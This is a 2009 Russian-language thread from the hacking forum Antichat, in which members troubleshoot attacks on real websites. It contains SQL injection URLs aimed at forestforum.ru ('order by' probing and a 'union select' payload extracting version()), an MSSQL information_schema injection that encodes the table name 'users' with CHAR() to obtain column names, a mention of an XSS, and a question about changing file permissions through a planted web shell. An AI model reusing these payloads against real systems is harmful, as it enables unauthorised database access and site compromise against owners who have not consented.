17.01.2009, 21:41
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Почему когда делаешь вот так -
http://www.forestforum.ru/index.php?page=3+order+by+9--
то есть несуществующая колонка. Пишет, что колонки такой нет..
Потом когда подбираешь количество колонок
http://www.forestforum.ru/index.php?page=3+order+by+6--
структура запроса уже другая и видно, что колонок вроде как 4.
Однако когда делаешь селект - то пишется, что The used SELECT statements have a different number of columns
http://www.forestforum.ru/index.php?page=3+union+select+1,2,3,4--
Почему так? |
|
|
17.01.2009, 21:46
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
попугай
http://www.forestforum.ru/index.php?page=-3+union+select+1,2,3,4,5,version()--
Там не один запрос
|
|
|
|
17.01.2009, 21:53
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
С нами:
9358231
Репутация:
34
|
|
 Есть xss (работает только в Опере). Заточить под IE ни как не вышло...  Помогите плз
Последний раз редактировалось sNt; 17.01.2009 в 22:46..
|
|
|
|
17.01.2009, 22:34
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Зашибись, а теперь наверное надо построчно угадывать код твоего css? 
И вообще, http://forum.antichat.ru/thread43254.html |
|
|
|
17.01.2009, 22:47
|
|
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
С нами:
9358231
Репутация:
34
|
|
Сообщение от Pashkela
Зашибись, а теперь наверное надо построчно угадывать код твоего CSS?
И вообще, http://forum.antichat.ru/thread43254.html это скриптинг
Последний раз редактировалось sNt; 08.03.2009 в 13:53..
|
|
|
|
18.01.2009, 02:20
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Вопрос: Почему у меня включена директива expose_php и показывается версия интерпретатора РНР,а на http://education.ucsc.edu/phpinfo.php - нет ?
|
|
|
|
18.01.2009, 02:30
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Ответ : всё там отлично показывает
X-Powered-By: PHP/5.1.6
Велемир Давай ссылки на инъёкции, гадания растягиваются на 5 страниц
Последний раз редактировалось jokester; 18.01.2009 в 02:34..
|
|
|
|
18.01.2009, 02:28
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
17+and+1=(select+top+1+column_name+from+informatio n_schema.columns+where+table_name=CHAR(117)%2bCHAR (115)%2bCHAR(101)%2bCHAR(114)%2bCHAR(115))--
При запросе выдаёт страницу,но нету ни ошибки,ни вывода из базы.
Последний раз редактировалось Велемир; 18.01.2009 в 02:31..
|
|
|
|
18.01.2009, 02:33
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Ну,я имел ввиду запрос:
http://localhost/script.php%27
|
|
|
|
18.01.2009, 20:36
|
|
Участник форума
Регистрация: 12.03.2008
Сообщений: 254
С нами:
9560218
Репутация:
238
|
|
У меня вот такой вопрос,как можно изменить права докуменка на опший доступ (chmod 777) есле у меня есть только доступ к файлам на сайте через шелл и доступ к MySQL???
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
